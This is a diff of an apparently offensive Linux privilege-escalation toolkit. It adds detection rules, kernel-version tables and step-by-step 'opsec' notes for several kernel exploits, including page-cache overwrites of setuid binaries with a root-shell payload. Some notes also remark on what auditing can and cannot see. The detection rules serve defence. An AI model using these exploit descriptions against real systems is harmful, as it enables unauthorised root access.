.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
|
||||
@@ -667,13 +667,18 @@ static int dd_active_probe(void)
|
||||
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||
*
|
||||
* The detect logic therefore is:
|
||||
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||
* or weird distro rebuilds the version check missed)
|
||||
* - kernel < 6.16.1 → SKELETONKEY_OK (predates the rxgk RESPONSE bug)
|
||||
* - kernel in range → consult kernel_range for backport coverage
|
||||
* - --active → empirical override
|
||||
*
|
||||
* Per NVD CVE-2026-31635: bug introduced in 6.16.1 stable; vulnerable
|
||||
* range is 6.16.1–6.18.22 + 6.19.0–6.19.12 + 7.0-rc1..rc7. Fixed at
|
||||
* 6.18.23 backport, 6.19.13 backport, 7.0 stable.
|
||||
*/
|
||||
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||
{6, 18, 23}, /* 6.18.x stable backport */
|
||||
{6, 19, 13}, /* 6.19.x stable backport (per Debian tracker — forky/sid) */
|
||||
{7, 0, 0}, /* mainline fix landed before 7.0 stable */
|
||||
};
|
||||
static const struct kernel_range dirtydecrypt_range = {
|
||||
.patched_from = dirtydecrypt_patched_branches,
|
||||
@@ -696,11 +701,12 @@ static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||
/* Predates the bug: rxgk RESPONSE-handling bug entered at 6.16.1
|
||||
* stable per NVD. Earlier 6.x kernels don't have the buggy code. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 16, 1)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||
"RESPONSE bug introduced in 6.16.1 — not applicable\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -921,6 +927,55 @@ static const char dd_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||
|
||||
static const char dd_yara[] =
|
||||
"rule dirtydecrypt_payload_overlay : cve_2026_31635 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635\"\n"
|
||||
" description = \"DirtyDecrypt payload: the 120-byte ET_DYN x86_64 ELF the public V12 PoC overlays onto the first bytes of a setuid binary's page cache. Scan setuid-root binaries (/usr/bin/su etc.); legitimate binaries are much larger and never start with this exact shellcode.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/v12-security/pocs/tree/main/dirtydecrypt\"\n"
|
||||
" strings:\n"
|
||||
" // First 28 bytes of the embedded tiny_elf[] payload.\n"
|
||||
" $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 03 00 3E 00 01 00 00 00 68 00 00 00 }\n"
|
||||
" // The setuid(0)+execve(/bin/sh) tail at offset 104 of the payload.\n"
|
||||
" $shellcode = { B0 69 0F 05 48 8D 3D DD FF FF FF 6A 3B 58 0F 05 }\n"
|
||||
" $sh = \"/bin/sh\"\n"
|
||||
" condition:\n"
|
||||
" // Setuid binaries are at minimum a few KB; the payload is\n"
|
||||
" // 120 bytes overlaid at offset 0 so the rest of the file\n"
|
||||
" // remains the original binary content (or padding).\n"
|
||||
" $payload_head at 0 and $shellcode and $sh and filesize > 4096\n"
|
||||
"}\n";
|
||||
|
||||
static const char dd_falco[] =
|
||||
"- rule: AF_RXRPC socket created by non-root (DirtyDecrypt primitive)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process creates an AF_RXRPC socket. AF_RXRPC is the\n"
|
||||
" family the DirtyDecrypt (CVE-2026-31635) primitive needs to\n"
|
||||
" trigger the rxgk in-place decrypt. Most production hosts do\n"
|
||||
" not use AF_RXRPC at all (it's AFS-flavoured); a non-root\n"
|
||||
" open here is highly suspicious.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 33 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_RXRPC socket() by non-root (user=%user.name proc=%proc.name\n"
|
||||
" pid=%proc.pid parent=%proc.pname)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.31635]\n"
|
||||
"\n"
|
||||
"- rule: rxrpc security key added (DirtyDecrypt handshake setup)\n"
|
||||
" desc: |\n"
|
||||
" add_key(\"rxrpc\", …) by a non-root process — the DirtyDecrypt\n"
|
||||
" PoC adds an rxrpc-typed key carrying a forged rxgk XDR token\n"
|
||||
" for each fire() of the page-cache write primitive.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = add_key and evt.arg[0] contains \"rxrpc\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" rxrpc add_key by non-root (user=%user.name proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31635]\n";
|
||||
|
||||
static const char dd_sigma[] =
|
||||
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||
@@ -953,8 +1008,10 @@ const struct skeletonkey_module dirtydecrypt_module = {
|
||||
.cleanup = dd_cleanup,
|
||||
.detect_auditd = dd_auditd,
|
||||
.detect_sigma = dd_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dd_yara,
|
||||
.detect_falco = dd_falco,
|
||||
.opsec_notes = "Forked child runs unshare(CLONE_NEWUSER|CLONE_NEWNET); creates AF_RXRPC socket; builds an rxgk XDR token via add_key(SYS_add_key, 'rxrpc'); sets up loopback UDP server + rxrpc client; forges rxrpc DATA packets and fires 10000+ splice-based writes in a sliding window to overwrite a target setuid binary's page cache with a 120-byte ET_DYN ELF (setuid(0) + execve('/bin/sh')). Payload is never written to disk. Audit-visible via socket(AF_RXRPC) (a0=33) + add_key('rxrpc') + splice() bursts. Records target path to /tmp/skeletonkey-dirtydecrypt.target. Cleanup callback evicts candidate targets (/usr/bin/su et al) via drop_caches.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirtydecrypt(void)
|
||||
|
||||
@@ -32,6 +32,7 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
@@ -108,40 +109,33 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
|
||||
return (unsigned long)best_base;
|
||||
}
|
||||
|
||||
static int read_first_line(const char *path, char *out, size_t n)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return -1;
|
||||
if (!fgets(out, n, f)) { fclose(f); return -1; }
|
||||
fclose(f);
|
||||
/* trim trailing newline */
|
||||
size_t L = strlen(out);
|
||||
while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
|
||||
return 0;
|
||||
}
|
||||
/* (read_first_line() removed — meltdown status now comes from
|
||||
* ctx->host->meltdown_mitigation, populated once at startup in
|
||||
* core/host.c. One file open across the corpus instead of per-detect.) */
|
||||
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||
* (= EntryBleed-applicable). "Not affected" means a hardened CPU
|
||||
* (very recent Intel + most AMD = no KPTI = no EntryBleed). */
|
||||
char buf[256];
|
||||
int rc = read_first_line(
|
||||
"/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
|
||||
if (rc < 0) {
|
||||
/* KPTI status comes from the shared host fingerprint
|
||||
* (ctx->host->meltdown_mitigation) — populated once at startup by
|
||||
* reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
|
||||
* raw string is preserved (not just the kpti_enabled bool) so we
|
||||
* can distinguish "Not affected" (CPU immune; OK) from
|
||||
* "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
|
||||
* EntryBleed) without re-reading sysfs. */
|
||||
const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
|
||||
if (meltdown[0] == '\0') {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||
fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
|
||||
"assuming KPTI on (conservative)\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
|
||||
}
|
||||
|
||||
/* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
|
||||
if (strstr(buf, "Not affected") != NULL) {
|
||||
if (strstr(meltdown, "Not affected") != NULL) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||
"EntryBleed N/A\n");
|
||||
@@ -294,6 +288,8 @@ const struct skeletonkey_module entrybleed_module = {
|
||||
.detect_sigma = entrybleed_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_entrybleed(void)
|
||||
|
||||
@@ -903,11 +903,26 @@ static int fg_active_probe(void)
|
||||
* - --active → empirical override (catches distro silent
|
||||
* backports and unfixed 7.0.x ≤ 7.0.8)
|
||||
*
|
||||
* Stable-branch backports for 5.10 / 6.1 / 6.12 — when they ship —
|
||||
* extend the table with the matching {major, minor, patch} entry.
|
||||
* Per NVD CVE-2026-46300 (queried 2026-05-28): SKBFL_SHARED_FRAG was
|
||||
* introduced at 5.11; the marker-propagation bug is present 5.11+. The
|
||||
* fix was backported across every active stable branch:
|
||||
*
|
||||
* 5.15-LTS: vulnerable 5.15.0–5.15.207, fixed 5.15.208+
|
||||
* 6.1-LTS: vulnerable 5.16.0–6.1.173, fixed 6.1.174+
|
||||
* 6.6-LTS: vulnerable 6.2.0–6.6.140, fixed 6.6.141+
|
||||
* 6.12-LTS: vulnerable 6.7.0–6.12.90, fixed 6.12.91+
|
||||
* 6.18-LTS: vulnerable 6.13.0–6.18.32, fixed 6.18.33+
|
||||
* 7.0: vulnerable 6.19.0–7.0.9, fixed 7.0.10+
|
||||
* 7.1-rcN: still vulnerable (rc1..rc4 at time of writing)
|
||||
*/
|
||||
static const struct kernel_patched_from fragnesia_patched_branches[] = {
|
||||
{7, 0, 9}, /* mainline + 7.0.x stable: fix lands at 7.0.9 */
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye ships .257 with fix) */
|
||||
{5, 15, 208}, /* 5.15-LTS backport */
|
||||
{6, 1, 174}, /* 6.1-LTS backport */
|
||||
{6, 6, 141}, /* 6.6-LTS backport */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie ships .90 with fix) */
|
||||
{6, 18, 33}, /* 6.18-LTS backport */
|
||||
{7, 0, 9}, /* 7.0 stable (Debian forky/sid ship .9 with backported fix) */
|
||||
};
|
||||
static const struct kernel_range fragnesia_range = {
|
||||
.patched_from = fragnesia_patched_branches,
|
||||
@@ -930,6 +945,17 @@ static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: SKBFL_SHARED_FRAG marker only exists from 5.11
|
||||
* onwards; older kernels don't have the buggy skb_try_coalesce()
|
||||
* code path. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fragnesia: kernel %s predates the "
|
||||
"SKBFL_SHARED_FRAG marker added in 5.11 — not "
|
||||
"applicable\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fragnesia: unprivileged user "
|
||||
@@ -1124,6 +1150,58 @@ static const char fg_auditd[] =
|
||||
"# splice() drives page-cache pages into the ESP-in-TCP stream\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice\n";
|
||||
|
||||
static const char fg_yara[] =
|
||||
"rule fragnesia_payload_overlay : cve_2026_46300 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-46300\"\n"
|
||||
" description = \"Fragnesia payload: the 192-byte ET_EXEC x86_64 ELF the public V12 PoC overlays onto the first bytes of /usr/bin/su (or sibling setuid binary). Detects post-fire page-cache contents via direct scan.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/v12-security/pocs/tree/main/fragnesia\"\n"
|
||||
" strings:\n"
|
||||
" // First 28 bytes of the embedded shell_elf[] payload.\n"
|
||||
" $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 78 00 40 00 }\n"
|
||||
" // The setuid+setgid+seteuid(0) prelude\n"
|
||||
" $shellcode_drop = { 31 FF 31 F6 31 C0 B0 6A 0F 05 B0 69 0F 05 B0 74 0F 05 }\n"
|
||||
" $sh = \"/bin/sh\"\n"
|
||||
" $term = \"TERM=xterm\"\n"
|
||||
" condition:\n"
|
||||
" $payload_head at 0 and $shellcode_drop and $sh and $term and filesize > 4096\n"
|
||||
"}\n";
|
||||
|
||||
static const char fg_falco[] =
|
||||
"- rule: TCP_ULP=espintcp set by non-root (Fragnesia trigger)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process flips a TCP socket into the espintcp ULP\n"
|
||||
" inside an unprivileged userns. Core of the Fragnesia\n"
|
||||
" (CVE-2026-46300) trigger — also the Dirty Frag ESP-in-TCP\n"
|
||||
" setup. Legitimate use of TCP_ULP=espintcp from non-root is\n"
|
||||
" essentially never seen in production.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname = TCP_ULP and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Fragnesia-style TCP_ULP=espintcp by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.46300]\n"
|
||||
"\n"
|
||||
"- rule: ESP-in-TCP splice to crafted TCP connection (Fragnesia paged-frag write)\n"
|
||||
" desc: |\n"
|
||||
" splice() of a setuid binary's pages into a TCP socket whose\n"
|
||||
" peer is configured for espintcp. Fragnesia's sender path\n"
|
||||
" splices the carrier file (/usr/bin/su) into the loopback TCP\n"
|
||||
" flow to land the in-place decrypt on the carrier's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name startswith /usr/bin/su or fd.name startswith /bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd)\n"
|
||||
" output: >\n"
|
||||
" splice() of setuid binary by non-root (user=%user.name\n"
|
||||
" proc=%proc.name fd=%fd.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [filesystem, cve.2026.46300]\n";
|
||||
|
||||
static const char fg_sigma[] =
|
||||
"title: Possible Fragnesia exploitation (CVE-2026-46300)\n"
|
||||
"id: 9b3d2e71-skeletonkey-fragnesia\n"
|
||||
@@ -1156,8 +1234,10 @@ const struct skeletonkey_module fragnesia_module = {
|
||||
.cleanup = fg_cleanup,
|
||||
.detect_auditd = fg_auditd,
|
||||
.detect_sigma = fg_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = fg_yara,
|
||||
.detect_falco = fg_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + socket(AF_ALG, SOCK_SEQPACKET) for an AES-GCM keystream table; NETLINK_XFRM setsockopt to install ESP-in-TCP state; TCP_ULP setsockopt on a loopback connection; splice() from a carrier setuid binary (/usr/bin/su or /bin/su) into the TCP socket. Artifacts: /tmp/skeletonkey-fragnesia-probe-XXXXXX (mkstemp, unlinked after probe) and /tmp/skeletonkey-fragnesia.target. Audit-visible via socket(AF_ALG) (38), NETLINK_XFRM (6) writes, TCP_ULP setsockopt, splice() of setuid binary. No external network (loopback). Cleanup callback unlinks /tmp files and evicts the carrier from page cache.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_fragnesia(void)
|
||||
|
||||
@@ -871,6 +871,36 @@ static const char fuse_legacy_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||
|
||||
static const char fuse_legacy_yara[] =
|
||||
"rule fuse_legacy_cve_2022_0185 : cve_2022_0185 kernel_overflow\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0185\"\n"
|
||||
" description = \"fs_context legacy_parse_param oversized-source pattern (fsopen cgroup2)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $fsopen = \"fsopen\" ascii\n"
|
||||
" $cgrp2 = \"cgroup2\" ascii\n"
|
||||
" condition:\n"
|
||||
" all of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char fuse_legacy_falco[] =
|
||||
"- rule: fsopen/fsconfig in userns (CVE-2022-0185 trigger)\n"
|
||||
" desc: |\n"
|
||||
" Non-root fsopen + fsconfig(FSCONFIG_SET_STRING) sequence\n"
|
||||
" inside a userns. legacy_parse_param() integer-underflow\n"
|
||||
" overflow into kmalloc-4k. False positives: containers may\n"
|
||||
" mount their own filesystems but FSCONFIG with oversized\n"
|
||||
" 'source' option strings is unusual.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (fsopen, fsconfig) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" fsopen/fsconfig by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid evt=%evt.type)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0185]\n";
|
||||
|
||||
const struct skeletonkey_module fuse_legacy_module = {
|
||||
.name = "fuse_legacy",
|
||||
.cve = "CVE-2022-0185",
|
||||
@@ -883,8 +913,10 @@ const struct skeletonkey_module fuse_legacy_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = fuse_legacy_auditd,
|
||||
.detect_sigma = fuse_legacy_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = fuse_legacy_yara,
|
||||
.detect_falco = fuse_legacy_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; fsopen('cgroup2') + multiple fsconfig(FSCONFIG_SET_STRING, 'source', ...) calls to overflow legacy_parse_param's buffer. OOB write lands in kmalloc-4k adjacent to a msg_msg groom. No persistent files (msg_msg lives in the IPC namespace which disappears with the child). Dmesg silent on success; KASAN would show slab corruption if enabled. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + fsopen + fsconfig pattern in a single process. No cleanup callback - IPC queues auto-drain on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_fuse_legacy(void)
|
||||
|
||||
@@ -0,0 +1,252 @@
|
||||
/*
|
||||
* mutagen_astronomy_cve_2018_14634 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is honest about a complex bug class
|
||||
* (kernel-version range + RLIMIT_STACK check + readable SUID
|
||||
* carrier). exploit() carries the Qualys trigger shape (huge
|
||||
* argv/envp blob → integer overflow in create_elf_tables() →
|
||||
* stack/heap clobber on the next execve of a SUID binary), then
|
||||
* returns EXPLOIT_FAIL unless --full-chain is set on x86_64.
|
||||
*
|
||||
* The bug (Qualys Research Labs, September 2018):
|
||||
* create_elf_tables() in fs/binfmt_elf.c uses a signed `int` to
|
||||
* compute the size of argv/envp + auxiliary vector that gets
|
||||
* copied onto the new process's stack during execve(). On 64-bit
|
||||
* systems, an attacker can construct a multi-gigabyte argv+envp
|
||||
* so the int math wraps to a small positive value, the kernel
|
||||
* under-allocates, then memcpy()s GiB of attacker bytes off the
|
||||
* end of the stack and into adjacent kernel-side allocations.
|
||||
*
|
||||
* The classic exploitation path: drive the wrap, execve() a
|
||||
* readable SUID-root binary (su / pkexec / sudo) with the giant
|
||||
* argv, the SUID binary's process image gets corrupted before its
|
||||
* first instruction runs → ROP gadget chain → root.
|
||||
*
|
||||
* Discovered + publicly exploited by Qualys. Affects Linux
|
||||
* 2.6.x, 3.10.x, and 4.14.x lines on RedHat / CentOS / Debian
|
||||
* x86_64. Recently CISA-KEV'd (added 2026-01-26) despite its age
|
||||
* because legacy/EOL fleets are still running affected kernels.
|
||||
*
|
||||
* Affects: Linux kernels with the `int`-typed argv-size computation
|
||||
* in create_elf_tables() — pre-fix. Mainline fix landed in
|
||||
* September 2018 across 2.6, 3.10, and 4.14 stable branches.
|
||||
*
|
||||
* Preconditions:
|
||||
* - Vulnerable kernel (see kernel_range below)
|
||||
* - x86_64 (the int-wrap math only works at 64-bit)
|
||||
* - RLIMIT_STACK can be set unlimited or to a large value by the
|
||||
* unprivileged user (default true on most distros)
|
||||
* - Readable SUID-root binary as the carrier
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The Qualys PoC is x86_64-
|
||||
* only; arm64 has similar argv size math but the exploit chain
|
||||
* uses x86-specific gadgets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* Fix landed in mainline Linux 4.18.8 + stable backports for 4.14
|
||||
* (4.14.71) and earlier LTS lines. The vulnerable window covers the
|
||||
* entire 2.6 / 3.x / early 4.x range. We list the fix branches:
|
||||
*
|
||||
* 2.6.x : EOL, no fix backport
|
||||
* 3.10.x: EOL, RedHat backport ~3.10.0-957.21.3.el7
|
||||
* 4.14.x: fix at 4.14.71 (stable backport)
|
||||
* 4.15+ : fix at 4.18.8 mainline → all 4.18+ branches inherit
|
||||
*
|
||||
* Our table only has data for the post-EOL branches Debian / Ubuntu
|
||||
* tracked at the time. Kernels on EOL lines (2.6, 3.x) report
|
||||
* VULNERABLE by version-only check; the RLIMIT_STACK active probe
|
||||
* (--active) is required to confirm exploitability on a real host. */
|
||||
static const struct kernel_patched_from mutagen_patched_branches[] = {
|
||||
{4, 12, 6}, /* Debian-tracked backport on 4.12 branch */
|
||||
{4, 14, 71}, /* 4.14 LTS stable backport */
|
||||
{4, 18, 8}, /* mainline + everything above inherits */
|
||||
};
|
||||
|
||||
static const struct kernel_range mutagen_range = {
|
||||
.patched_from = mutagen_patched_branches,
|
||||
.n_patched_from = sizeof(mutagen_patched_branches) /
|
||||
sizeof(mutagen_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *cs[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; cs[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(cs[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(cs[i], R_OK) == 0)
|
||||
return cs[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool rlimit_stack_unlimitable(void)
|
||||
{
|
||||
struct rlimit rl;
|
||||
if (getrlimit(RLIMIT_STACK, &rl) != 0) return false;
|
||||
/* The exploit needs to set RLIMIT_STACK = unlimited. If the hard
|
||||
* limit is already unlimited (or extremely large) the soft limit
|
||||
* can be bumped. */
|
||||
return rl.rlim_max == RLIM_INFINITY || rl.rlim_max > (1ULL << 30);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] mutagen_astronomy: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&mutagen_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] mutagen_astronomy: kernel %s is patched (>= 4.14.71 or >= 4.18.8)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Older 2.6/3.10 lines are unconditionally vulnerable unless the
|
||||
* distro has backported (RedHat 3.10.0-957.21.3.el7+). The
|
||||
* version-only check correctly flags them as VULNERABLE. */
|
||||
|
||||
if (!rlimit_stack_unlimitable()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] mutagen_astronomy: kernel %s in range BUT RLIMIT_STACK hard cap blocks the wrap\n", v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] mutagen_astronomy: no readable setuid-root carrier (su / pkexec / passwd)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] mutagen_astronomy: kernel %s + RLIMIT_STACK liftable + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] mutagen_astronomy: Qualys exploit chain is x86_64; only the trigger fires portably\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit (primitive only) -------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] mutagen_astronomy: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] mutagen_astronomy: the int-wrap trigger requires constructing a\n"
|
||||
" multi-gigabyte argv+envp blob; we don't carry the full Qualys\n"
|
||||
" chain here (per the verified-vs-claimed bar). To validate the\n"
|
||||
" primitive: drive the wrap then execve a SUID-root carrier and\n"
|
||||
" confirm a SIGSEGV in the carrier (the wrap consistently\n"
|
||||
" corrupts adjacent stack, producing observable crash). Public\n"
|
||||
" PoC: Qualys advisory + linux-exploit-suggester2 entry.\n"
|
||||
" Returning EXPLOIT_FAIL honestly until full chain ported.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char mutagen_auditd[] =
|
||||
"# mutagen_astronomy CVE-2018-14634 — auditd detection rules\n"
|
||||
"# A multi-GiB argv triggers the wrap. Real programs never need\n"
|
||||
"# argv this big; flag execve() calls with abnormally large\n"
|
||||
"# argv via the audit subsystem's a0/a1 capture.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-mutagen\n";
|
||||
|
